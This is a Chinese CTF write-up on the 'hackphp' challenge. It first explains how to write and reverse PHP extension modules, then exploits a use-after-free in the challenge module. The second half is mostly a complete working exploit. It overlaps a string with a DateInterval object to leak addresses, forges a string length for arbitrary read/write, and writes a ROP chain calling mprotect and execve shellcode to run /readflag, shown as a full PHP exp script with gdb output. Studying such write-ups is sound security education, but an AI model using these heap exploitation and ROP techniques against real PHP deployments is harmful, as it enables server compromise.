0x00前言
从一题学习php模块的编写，学习WEB PWN，并演示WEB PWN中的堆UAF利用基本手法。
0x01 PHP模块的编写
php模块一般使用C/C++编写，编译后以库文件的形式进行加载，在Linux下为.so，Windows下为.dll。下面，我们来编写一个php模块的helloword，并在php里进行调用。
首先下载php源码，进入php源码目录的ext目录,执行
root@ubuntu:/home/sea/Desktop/php-src/ext# ./ext_skel.php --ext helloword
Copying config scripts... done
Copying sources... done
Copying tests... done
Success. The extension is now ready to be compiled. To do so, use the
following steps:
cd /path/to/php-src/helloword
phpize
./configure
make
Don't forget to run tests once the compilation is done:
make test
Thank you for using PHP!
模块基本语法
该程序直接为我们生成了一个模板，我们可以直接查看源码
/* helloword extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_helloword.h"
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
/* {{{ void helloword_test1()
*/
PHP_FUNCTION(helloword_test1)
{
ZEND_PARSE_PARAMETERS_NONE();
php_printf("The extension %s is loaded and working!\r\n", "helloword");
}
/* }}} */
/* {{{ string helloword_test2( [ string $var ] )
*/
PHP_FUNCTION(helloword_test2)
{
char *var = "World";
size_t var_len = sizeof("World") - 1;
zend_string *retval;
ZEND_PARSE_PARAMETERS_START(0, 1)
Z_PARAM_OPTIONAL
Z_PARAM_STRING(var, var_len)
ZEND_PARSE_PARAMETERS_END();
retval = strpprintf(0, "Hello %s", var);
RETURN_STR(retval);
}
/* }}}*/
/* {{{ PHP_RINIT_FUNCTION
*/
PHP_RINIT_FUNCTION(helloword)
{
#if defined(ZTS) && defined(COMPILE_DL_HELLOWORD)
ZEND_TSRMLS_CACHE_UPDATE();
#endif
return SUCCESS;
}
/* }}} */
/* {{{ PHP_MINFO_FUNCTION
*/
PHP_MINFO_FUNCTION(helloword)
{
php_info_print_table_start();
php_info_print_table_header(2, "helloword support", "enabled");
php_info_print_table_end();
}
/* }}} */
/* {{{ arginfo
*/
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test1, 0)
ZEND_END_ARG_INFO()
ZEND_BEGIN_ARG_INFO(arginfo_helloword_test2, 0)
ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} */
/* {{{ helloword_functions[]
*/
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
/* }}} */
/* {{{ helloword_module_entry
*/
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
/* }}} */
#ifdef COMPILE_DL_HELLOWORD
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(helloword)
#endif
其中由PHP_FUNCTION宏修饰的函数代表该函数可以直接在php中进行调用，由PHP_RINIT_FUNCTION修饰的函数将在一个新请求到来时被调用，其描述如下
当一个页面请求到来时候，PHP 会迅速开辟一个新的环境，并重新扫描自己的各个扩展，遍历执行它们各自的RINIT 方法(俗称 Request Initialization)，这时候一个扩展可能会初始化在本次请求中会使用到的变量等， 还会初始化用户端（即 PHP 脚本）中的变量之类的，内核预置了 PHP_RINIT_FUNCTION() 这个宏函数来帮我们实现这个功能
由PHP_MINIT_FUNCTION 修饰的函数将在初始化module时运行。最终将需要在php中调用的函数指针写到一个统一的数组中。
static const zend_function_entry helloword_functions[] = {
PHP_FE(helloword_test1, arginfo_helloword_test1)
PHP_FE(helloword_test2, arginfo_helloword_test2)
PHP_FE_END
};
然后由zend_module_entry helloword_module_entry进行注册，该结构体记录了整个模块需要提供的一些信息。
zend_module_entry helloword_module_entry = {
STANDARD_MODULE_HEADER,
"helloword", /* Extension name */
helloword_functions, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
PHP_RINIT(helloword), /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
PHP_MINFO(helloword), /* PHP_MINFO - Module info */
PHP_HELLOWORD_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
传参
在函数里，由ZEND_PARSE_PARAMETERS_NONE()修饰的代表无参数；而ZEND_PARSE_PARAMETERS_START规定了参数的个数，其定义如下
#define ZEND_PARSE_PARAMETERS_START(min_num_args, max_num_args) ZEND_PARSE_PARAMETERS_START_EX(0, min_num_args, max_num_args)
而Z_PARAM_OPTIONAL代表参数可有可无，不是必须；Z_PARAM_STRING(var, var_len)代表该参数是字符串对象，并且将其内容地址和长度分别赋值给var和var_len。
还有很多类型，如下表：
specifier Fast ZPP API macro args
| Z_PARAM_OPTIONAL
a Z_PARAM_ARRAY(dest) dest - zval*
A Z_PARAM_ARRAY_OR_OBJECT(dest) dest - zval*
b Z_PARAM_BOOL(dest) dest - zend_bool
C Z_PARAM_CLASS(dest) dest - zend_class_entry*
d Z_PARAM_DOUBLE(dest) dest - double
f Z_PARAM_FUNC(fci, fcc) fci - zend_fcall_info, fcc - zend_fcall_info_cache
h Z_PARAM_ARRAY_HT(dest) dest - HashTable*
H Z_PARAM_ARRAY_OR_OBJECT_HT(dest) dest - HashTable*
l Z_PARAM_LONG(dest) dest - long
L Z_PARAM_STRICT_LONG(dest) dest - long
o Z_PARAM_OBJECT(dest) dest - zval*
O Z_PARAM_OBJECT_OF_CLASS(dest, ce) dest - zval*
p Z_PARAM_PATH(dest, dest_len) dest - char*, dest_len - int
P Z_PARAM_PATH_STR(dest) dest - zend_string*
r Z_PARAM_RESOURCE(dest) dest - zval*
s Z_PARAM_STRING(dest, dest_len) dest - char*, dest_len - int
S Z_PARAM_STR(dest) dest - zend_string*
z Z_PARAM_ZVAL(dest) dest - zval*
Z_PARAM_ZVAL_DEREF(dest) dest - zval*
+ Z_PARAM_VARIADIC('+', dest, num) dest - zval*, num int
* Z_PARAM_VARIADIC('*', dest, num) dest - zval*, num int
测试
编译以后得到了模块
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# ls
helloword.la helloword.so
安装该模块
cp helloword.so /usr/local/lib/php/extensions/no-debug-non-zts-20190902
php.ini里添加
extension=helloword.so
测试程序如下
<?php
helloword_test1();
helloword_test2("aaa");
?>
运行结果
root@ubuntu:/home/sea/Desktop/php-src/ext/helloword/modules# php 1.php
The extension helloword is loaded and working!
可以看到模块成功被调用，并且在php中的调用十分方便，当成普通函数调用就可以了。
0x02 PHP模块逆向分析
将helloword.so模块用IDA打开分析
定位到函数表，可以发现供我们在php里调用的函数有两个，且这些函数名都以zif开头
进入zif_helloword_test2函数，可以看到，宏都被展开了，前面是对参数个数的判断，后面则是对变量进行赋值。
至此，对php模块，我们已经有了大致的了解。
0x03 hackphp
漏洞分析
首先用IDA分析，找到zif开头的函数
因此，在php中我们能调用该模块中的4个函数，分别为
hackphp_create
hackphp_delete
hackphp_edit
hackphp_get
hackphp_create函数接收一个整型参数，其功能是可以调用_emalloc创建一个堆，这里存在一个UAF漏洞，就是当0<=size<256或者size>512时不会直接return，会执行到efree将申请的堆给释放掉，然后其指针仍然保留给了buf全局变量。
hackphp_delete函数无参数，其功能是将buf指向的堆efree掉，并清空buf指针
hackphp_edit函数接收一个字符串参数，并将其内容写入到buf里，这里注意的是，php里传入的字符串，即使其字符串中存在\x00，其length也不是以该字符截断的，该字符串对象的length成员表示其内容的字节数，并且在hackphp_edit函数中，使用了memcpy而不是strncpy这意味着hackphp_edit不会因为字符串中存在\0而截断，因此，我们可以用该函数进行字节编辑。
hackphp_get函数用于显示buf的内容，由于使用的是zend_strpprintf(0LL,"%s", buf)因此会受到\0字符的截断。
漏洞分析完了，该模块存在一个UAF，但是由于使用的是emalloc/efree不能像glibc的ptmalloc那样进行花式利用，我们可以利用double free，因为通过测试，double free不会报错，并且重新申请两次时都可以申请到此处，因此我们可以考虑让两个php对象同时占位于此，达到类型混淆的目的。
漏洞利用分析
我们可以将DateInterval对象占位于此。为了确定该对象的结构大小，我们使用如下代码测试，其中$str = fread(STDIN,1000);起到阻塞的效果。
<?php
$str = fread(STDIN,1000);
$dv = new DateInterval('P1Y');
$str = fread(STDIN,1000);
?>
运行该程序php 1.php,然后另外开一个窗口，用gdb进行attach调试。给emalloc函数下断点
pwndbg> b _emalloc
Breakpoint 1 at 0x55ea1e726970: file /home/sea/Desktop/php-src/Zend/zend_alloc.c, line 2533.
然后继续运行,程序断下后，发现此时size为56
继续运行，发现不止一次下断，我们记录下每一次下断后emalloc返回的地址，最终发现第一次emalloc(56)的堆里有许多有用的数据。
RAX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
*RBX 0x7f5e332551c0 —▸ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 ◂— ...
RCX 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
RDX 0x7f5e33200070 —▸ 0x7f5e332010c0 —▸ 0x7f5e332010d8 —▸ 0x7f5e332010f0 —▸ 0x7f5e33201108 ◂— ...
RDI 0x7f5e33200040 ◂— 0x0
*RSI 0x5654177dbf50 ◂— 0x1
R8 0x7f5e33254440 ◂— 0x600000001
R9 0x7f5e33200000 —▸ 0x7f5e33200040 ◂— 0x0
R10 0x7f000
R11 0x246
*R12 0x7f5e332551d0 ◂— 0x0
R13 0x0
R14 0x7f5e33212020 —▸ 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
R15 0x7f5e3328d0c0 —▸ 0x56541558b9fc (execute_ex+8732) ◂— endbr64
RBP 0x5654177dbf50 ◂— 0x1
*RSP 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
*RIP 0x5654152b6512 (date_object_new_interval+66) ◂— movups xmmword ptr [rax], xmm0
──────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
0x5654152b64fc <date_object_new_interval+44> pxor xmm0, xmm0
0x5654152b6500 <date_object_new_interval+48> mov rsi, rbp
0x5654152b6503 <date_object_new_interval+51> mov qword ptr [rax + 0x30], 0
0x5654152b650b <date_object_new_interval+59> lea r12, [rax + 0x10]
0x5654152b650f <date_object_new_interval+63> mov rbx, rax
► 0x5654152b6512 <date_object_new_interval+66> movups xmmword ptr [rax], xmm0
0x5654152b6515 <date_object_new_interval+69> mov rdi, r12
0x5654152b6518 <date_object_new_interval+72> movups xmmword ptr [rax + 0x10], xmm0
0x5654152b651c <date_object_new_interval+76> movups xmmword ptr [rax + 0x20], xmm0
0x5654152b6520 <date_object_new_interval+80> call zend_object_std_init <zend_object_std_init>
0x5654152b6525 <date_object_new_interval+85> mov rsi, rbp
───────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────
In file: /home/sea/Desktop/php-src/Zend/zend_objects_API.h
89 * Properties MUST be initialized using object_properties_init(). */
90 static zend_always_inline void *zend_object_alloc(size_t obj_size, zend_class_entry *ce) {
91 void *obj = emalloc(obj_size + zend_object_properties_size(ce));
92 /* Subtraction of sizeof(zval) is necessary, because zend_object_properties_size() may be
93 * -sizeof(zval), if the object has no properties. */
► 94 memset(obj, 0, obj_size - sizeof(zval));
95 return obj;
96 }
97
98 static inline zend_property_info *zend_get_property_info_for_slot(zend_object *obj, zval *slot)
99 {
───────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe15719fd0 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
01:0008│ 0x7ffe15719fd8 —▸ 0x5654177dbf50 ◂— 0x1
02:0010│ 0x7ffe15719fe0 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
03:0018│ 0x7ffe15719fe8 —▸ 0x56541550c9a9 (object_init_ex+57) ◂— mov dword ptr [rbx + 8], 0x308
04:0020│ 0x7ffe15719ff0 ◂— 0x0
05:0028│ 0x7ffe15719ff8 —▸ 0x7f5e33212190 ◂— 0x206f74203b0a6465 ('ed\n; to ')
06:0030│ 0x7ffe1571a000 —▸ 0x7f5e332120c0 ◂— 0x747468203b0a2e79 ('y.\n; htt')
07:0038│ 0x7ffe1571a008 —▸ 0x7f5e33212120 ◂— 0x6f20676f4c20746e ('nt Log o')
─────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────
► f 0 5654152b6512 date_object_new_interval+66
f 1 5654152b6512 date_object_new_interval+66
f 2 56541550c9a9 object_init_ex+57
f 3 56541550c9a9 object_init_ex+57
f 4 56541556f585 ZEND_NEW_SPEC_CONST_UNUSED_HANDLER+53
f 5 56541558ba05 execute_ex+8741
f 6 5654155932bd zend_execute+301
f 7 56541550ac3c zend_execute_scripts+204
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
如上，0x7f5e332551c0为emalloc(56)申请的堆，我们记下该地址，然后输入c继续运行，直到程序不再下断，也就是执行到php代码里的最后一句$str = fread(STDIN,1000);时，此时DateInterval对象创建完成，我们查看该地址处的内容。
pwndbg> tel 0x7f5e332551c0
00:0000│ 0x7f5e332551c0 —▸ 0x7f5e3327e000 ◂— 0x1
01:0008│ 0x7f5e332551c8 ◂— 0x1
02:0010│ 0x7f5e332551d0 ◂— 0xc000041800000001
03:0018│ 0x7f5e332551d8 ◂— 0x1
04:0020│ 0x7f5e332551e0 —▸ 0x5654177dbf50 ◂— 0x1
05:0028│ 0x7f5e332551e8 —▸ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
06:0030│ 0x7f5e332551f0 ◂— 0x0
07:0038│ 0x7f5e332551f8 —▸ 0x7f5e33255230 —▸ 0x7f5e33255268 —▸ 0x7f5e332552a0 —▸ 0x7f5e332552d8 ◂— ...
pwndbg> tel 0x56541607a0a0
00:0000│ 0x56541607a0a0 (date_object_handlers_interval) ◂— 0x10
01:0008│ 0x56541607a0a8 (date_object_handlers_interval+8) —▸ 0x5654152b5790 (date_object_free_storage_interval) ◂— endbr64
02:0010│ 0x56541607a0b0 (date_object_handlers_interval+16) —▸ 0x56541553be40 (zend_objects_destroy_object) ◂— endbr64
03:0018│ 0x56541607a0b8 (date_object_handlers_interval+24) —▸ 0x5654152b6550 (date_object_clone_interval) ◂— endbr64
04:0020│ 0x56541607a0c0 (date_object_handlers_interval+32) —▸ 0x5654152b5aa0 (date_interval_read_property) ◂— endbr64
05:0028│ 0x56541607a0c8 (date_object_handlers_interval+40) —▸ 0x5654152b5e50 (date_interval_write_property) ◂— endbr64
06:0030│ 0x56541607a0d0 (date_object_handlers_interval+48) —▸ 0x56541553cba0 (zend_std_read_dimension) ◂— endbr64
07:0038│ 0x56541607a0d8 (date_object_handlers_interval+56) —▸ 0x56541553ce70 (zend_std_write_dimension) ◂— endbr64
pwndbg>
可以发现该对象内部存在一个虚表，虚表里有许多函数指针，因此，我们可以利用某些方法将这些数据读取出来，进而实现了地址泄露。假设我们将该对象占位于hackphp模块中的UAF堆里，用hackphp_get实现不了泄露，因为该函数遇到\0会截断。因此我们可以考虑在之前先构造一个double free然后将DateInterval对象占位于此以后，将另外一个对象也占位于此，并且另外一个对象应该能够使用运算符[]，这样我们可以使用运算符[]来读取数据。一个可以考虑的对象是通过str_repeat("a",n);创建的字符串对象，至于不直接使用array是因为array对象有些复杂，而字符串对象相对来说要简单一些。首先，我们得确定n为多少，才能让其大小为56与DateInterval对象保持一致。
首先尝试0x30
<?php
$str = fread(STDIN,1000);
$dv = str_repeat("a",0x30);
$str = fread(STDIN,1000);
?>
仍然使用gdb进行调试，发现实际调用emalloc时，size为0x50
因此，如果我们要控制字符串对象的大小为56的话，n应该为0x18，也就是这样
$str = str_repeat("a",0x18);
RAX 0x7fe101a551c0 —▸ 0x7fe101a551f8 —▸ 0x7fe101a55230 —▸ 0x7fe101a55268 —▸ 0x7fe101a552a0 ◂— ...
In file: /home/sea/Desktop/php-src/Zend/zend_string.h
141
142 static zend_always_inline zend_string *zend_string_safe_alloc(size_t n, size_t m, size_t l, int persistent)
143 {
144 zend_string *ret = (zend_string *)safe_pemalloc(n, m, ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(l)), persistent);
145
► 146 GC_SET_REFCOUNT(ret, 1);
147 GC_TYPE_INFO(ret) = IS_STRING | ((persistent ? IS_STR_PERSISTENT : 0) << GC_FLAGS_SHIFT);
148 ZSTR_H(ret) = 0;
149 ZSTR_LEN(ret) = (n * m) + l;
150 return ret;
151 }
记下其地址0x7fe101a551c0，然后继续运行，直到不再下断。
可以发现，字符串对象结构比较简单，0x18偏移处就是数据区长度，如果我们将其篡改，就可以实现越界读写。假设该对象也占位与hackphp模块的UAF堆中，那么我们就能利用该字符串对象对DateInterval对象内部的数据进行读写。
漏洞利用
于是，我们的php脚本这样写
//double free
hackphp_create(56);
hackphp_delete();
//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');
$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";
通过上面的脚本，我们已经得到vtable的地址以及该对象自身的地址。接下来，我们重新创建一个堆，然后将一个新的字符串对象占位，通过UAF修改字符串的length成员，从而该字符串对象将具有任意地址读写的能力。
hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}
echo sprintf("offset=0x%lx",$offset);
接下来，就可以泄露虚表里的函数指针地址了，计算出php二进制程序的基址，然后泄露GOT表，计算libc地址，获得gadgets及一些函数的地址。
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";
$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;
$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;
$stack_ptr = $libc_base + 0x1ec440;
$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;
echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);
接下来就是如何劫持程序流了，由于具有了任意地址读写的能力，那么利用手法就是仁者见仁智者见智了。
然而当你调用$oob[x]进行写时，如果x<=0会发现报错
found!PHP Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155
Warning: Illegal string offset: 0 in /home/sea/Desktop/1.php on line 155
通过分析源码
static zend_never_inline void zend_assign_to_string_offset(zval *str, zval *dim, zval *value, zval *result)
{
zend_string *old_str;
zend_uchar c;
size_t string_len;
zend_long offset;
if (UNEXPECTED(Z_TYPE_P(dim) != IS_LONG)) {
offset = zend_check_string_offset(dim/*, BP_VAR_W*/);
} else {
offset = Z_LVAL_P(dim);
}
if (offset < -(zend_long)Z_STRLEN_P(str)) {
/* Error on negative offset */
zend_error(E_WARNING, "Illegal string offset " ZEND_LONG_FMT, offset);
if (result) {
ZVAL_NULL(result);
}
return;
}
关键一句
if (offset < -(zend_long)Z_STRLEN_P(str))
因为这里，我们length修改为了-1，所以Z_STRLEN_P(str)返回的就是-1取反后就是1，也就是offset必须大于等于1，这意味着，我们只能向后进行任意地址写，当然，可以通过再次修改length为正数，绕过这个if检查。但是我没有这么做，因为栈地址位于最后，所以我可以直接向后找到栈地址，然后劫持栈。
为了确定栈ROP的位置，我使用了栈内存搜索，知道搜索到一个指定的返回地址结束。因为php_execute_script是执行php脚本的具体实现，所以，我们只需劫持该函数的返回地址，那么我们就需要在栈里搜索该地址，如果找到，就说明这个位置就是我们写ROP的地方了。
$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}
然后就是写入ROP了，不知道为何，不能封装为函数，否则会写入失败。
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}
$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);
$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;
$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);
//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}
至此，就完成了漏洞利用。
exp
<?php
function u64($val) {
$s = bin2hex($val);
$len = strlen($s);
$ans = "0x";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return intval($ans,16);
}
function p32($val) {
$s = dechex($val);
$len = strlen($s);
$ans = "";
for ($i=$len-2;$i>=0;$i-=2) {
$ans = $ans . substr($s,$i,2);
}
return hex2bin($ans);
}
//double free
hackphp_create(56);
hackphp_delete();
//$x and $dv now has same address
$x = str_repeat("D",0x18);
$dv = new DateInterval('P1Y');
$dv_vtable_addr = u64($x[0x10] . $x[0x11] . $x[0x12] . $x[0x13] . $x[0x14] . $x[0x15] . $x[0x16] . $x[0x17]);
echo sprintf("dv_vatble=0x%lx",$dv_vtable_addr);
echo "\n";
$dv_self_obj_addr = u64($x[0x20] . $x[0x21] . $x[0x22] . $x[0x23] . $x[0x24] . $x[0x25] . $x[0x26] . $x[0x27]) - 0x70;
echo sprintf("dv_self_obj_addr=0x%lx",$dv_self_obj_addr);
echo "\n";
hackphp_create(0x60);
$oob = str_repeat("D",0x40);
hackphp_edit("\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff/readflag\x00");
$oob_self_obj_addr = u64($oob[0x48] . $oob[0x49] . $oob[0x4a] . $oob[0x4b] . $oob[0x4c] . $oob[0x4d] . $oob[0x4e] . $oob[0x4f]) - 0xC0;
echo sprintf("oob_self_obj_addr=0x%lx",$oob_self_obj_addr);
echo "\n";
$offset = $dv_vtable_addr + 0x8 - ($oob_self_obj_addr + 0x18);
function read64($oob,$addr) {
/*if ($addr < 0) {
$addr = 0x10000000000000000 + $addr;
}*/
return u64($oob[$addr+0x0] . $oob[$addr+0x1] . $oob[$addr+0x2] . $oob[$addr+0x3] . $oob[$addr+0x4] . $oob[$addr+0x5] . $oob[$addr+0x6] . $oob[$addr+0x7]);
}
echo sprintf("offset=0x%lx",$offset);
echo "\n";
$date_object_free_storage_interval_addr = read64($oob,$offset+1);
echo sprintf("date_object_free_storage_interval_addr=0x%lx",$date_object_free_storage_interval_addr);
echo "\n";
$php_base = $date_object_free_storage_interval_addr - 0x23D790;
$strlen_got = $php_base + 0xFFEEB8;
$offset = $strlen_got - ($oob_self_obj_addr + 0x18) + 1;
$strlen_addr = read64($oob,$offset);
$libc_base = $strlen_addr - 0x18b660;
$pop_rdi = $libc_base + 0x0000000000026b72;
$pop_rsi = $libc_base + 0x0000000000026b70;
$pop_rdx = $libc_base + 0x0000000000162866;
$stack_ptr = $libc_base + 0x1ec440;
$offset = $stack_ptr - ($oob_self_obj_addr + 0x18);
$stack_addr = read64($oob,$offset);
$mprotect_addr = $libc_base + 0x11BB00;
echo sprintf("strlen_addr=0x%lx \n",$strlen_addr);
echo sprintf("libc_base=0x%lx \n",$libc_base);
echo sprintf("stack_addr=0x%lx \n",$stack_addr);
$offset = $stack_addr - ($oob_self_obj_addr + 0x18);
$ret_main_target = $php_base + 0x51d402;
//搜索ROP的地址
while (true) {
$data = read64($oob,$offset);
//echo sprintf("0x%lx",$hackphp_so_addr & 0xFFF);
//echo "\n";
if (intval($data) == intval($ret_main_target) ) {
echo "found!";
break;
}
$offset--;
}
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rsi & 0xFF);
$pop_rsi = $pop_rsi >> 0x8;
}
$offset += 0x8;
$data = 0x1000;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdx & 0xFF);
$pop_rdx = $pop_rdx >> 0x8;
}
$offset += 0x8;
$data = 0x7;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 0x10;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($pop_rdi & 0xFF);
$pop_rdi = $pop_rdi >> 0x8;
}
$offset += 8;
$stack_addr = $offset + ($oob_self_obj_addr + 0x18);
$data = $stack_addr ^ ($stack_addr & 0xfff);
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $mprotect_addr;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$offset += 8;
$data = $stack_addr+0x18;
for ($j=0;$j<8;$j++) {
$oob[$offset+$j] = chr($data & 0xFF);
$data = $data >> 0x8;
}
$stack_addr += 0x18;
$offset += 0x8;
$shellcode = "\x55\x48\x89\xE5\x48\x83\xEC\x30\x48\xB8\x2F\x72\x65\x61\x64\x66\x6C\x61\x48\x89\x45\xF0\x48\xC7\xC0\x67\x00\x00\x00\x48\x89\x45\xF8\x48\x8D\x7D\xF0\x48\xC7\xC6\x00\x00\x00\x00\x48\xC7\xC2\x00\x00\x00\x00\xB8\x3B\x00\x00\x00\x0F\x05";
$len = strlen($shellcode);
//写shellcode
for ($j=0;$j<$len;$j++) {
$oob[$offset+$j] = $shellcode[$j];
}
?>
0x04 感想
第一次接触WEB PWN，突然觉得php语言的模块功能好灵活方便，WEB PWN也挺有趣。
0x05 参考链接
PHP 内核与扩展开发系列] PHP 生命周期 —— 启动、终止与模式
PHP扩展之PHP的启动和停止
php7扩展开发 一 获取参数
php-src
PHP7 Memory Exploitation
